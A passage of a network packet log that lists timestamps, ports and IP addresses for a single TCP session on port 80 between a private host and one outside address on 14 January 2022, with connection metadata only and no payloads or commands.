Jan 14, 2022 01:52:06.955945969 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955981970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955998898 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956033945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956082106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956095934 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956132889 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956183910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956199884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956233978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956284046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956331968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956346035 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956382990 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956433058 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956442118 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956484079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956489086 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956535101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956584930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956593037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956634045 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956684113 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956691980 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956733942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956784010 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956834078 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956839085 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956882000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956932068 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956940889 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.956983089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.956996918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.957032919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957082987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957098007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.957134008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957199097 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.957209110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957262039 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957309961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957323074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.957360029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957410097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957457066 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.957470894 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.959275007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010126114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010200024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010262012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010293961 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010314941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010370970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010426998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010446072 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010477066 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010528088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010543108 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010586023 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010586977 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010638952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010691881 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010699987 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010740995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010797024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010801077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.010852098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010901928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010956049 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.010971069 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.011006117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011061907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011066914 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.011112928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011128902 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.011161089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011210918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011221886 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.011261940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011308908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011322975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.011358976 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011405945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011456013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011462927 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.011506081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011553049 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.011565924 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.013128996 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032264948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032326937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032378912 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032429934 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032452106 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032480955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032532930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032547951 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032583952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032599926 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032635927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032685995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032701015 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032738924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032794952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032809019 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032846928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032896996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032947063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.032962084 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.032995939 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033046007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033060074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033096075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033118963 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033147097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033196926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033204079 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033248901 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033298969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033308983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033350945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033399105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033412933 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033449888 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033499002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033549070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033556938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033601046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033648968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033662081 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033699036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033749104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033756018 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033797979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033812046 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033871889 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033926010 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.033931971 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.033973932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034024954 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034039021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034075975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034122944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034173012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034178972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034223080 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034272909 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034281015 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034322023 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034336090 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034370899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034420967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034429073 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034472942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034521103 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034534931 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034570932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034621000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034630060 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034668922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034718037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034765959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034781933 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034816980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034867048 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034882069 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034914970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.034928083 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.034964085 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.035020113 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.086488962 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086568117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086618900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086671114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086695910 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.086723089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086739063 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.086776018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086827040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086875916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086898088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.086925983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.086947918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.086976051 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087023973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087074995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087089062 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087124109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087174892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087184906 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087235928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087256908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087306976 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087357044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087372065 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087413073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087461948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087479115 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087512970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087563038 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087610960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087625980 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087661028 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087711096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087724924 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087760925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087769985 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.087811947 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087860107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.087873936 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.088289022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.088340044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.088354111 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.109874964 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.109946012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.109997034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110040903 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110048056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110080957 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110100985 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110152006 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110202074 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110260010 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110297918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110306978 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110311031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110363960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110394001 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110414982 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110462904 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110512972 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110527039 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110563040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110613108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110626936 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110663891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110671997 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110717058 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110766888 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110776901 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110819101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110886097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110894918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.110937119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.110986948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111004114 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111037970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111088037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111135960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111150980 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111186028 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111238003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111255884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111289024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111301899 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111339092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111390114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111438036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111454964 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111488104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111536026 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111552000 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111594915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111629963 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111645937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111694098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111728907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111743927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111793041 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111803055 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111846924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111896992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111926079 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.111947060 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.111996889 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112014055 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112047911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112096071 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112112999 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112147093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112195015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112245083 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112260103 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112296104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112344980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112360001 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112396002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112401962 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112448931 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112495899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112509012 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112545013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112593889 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112607956 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.112643003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112692118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.112750053 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.162798882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.162858963 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.162899971 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.162913084 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.162939072 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.162954092 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.162985086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163022041 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163062096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163079023 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163100958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163141966 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163157940 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163182020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163196087 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163218975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163261890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163295984 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163300037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163337946 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163377047 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163389921 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163414955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163455009 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163467884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163494110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163507938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163531065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163568974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163582087 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163606882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163642883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163659096 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163681030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163719893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163757086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163769960 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163796902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163832903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.163861036 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.163872004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.164077997 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.187731981 CET	80	49922	141.8.194.74	192.168.2.3
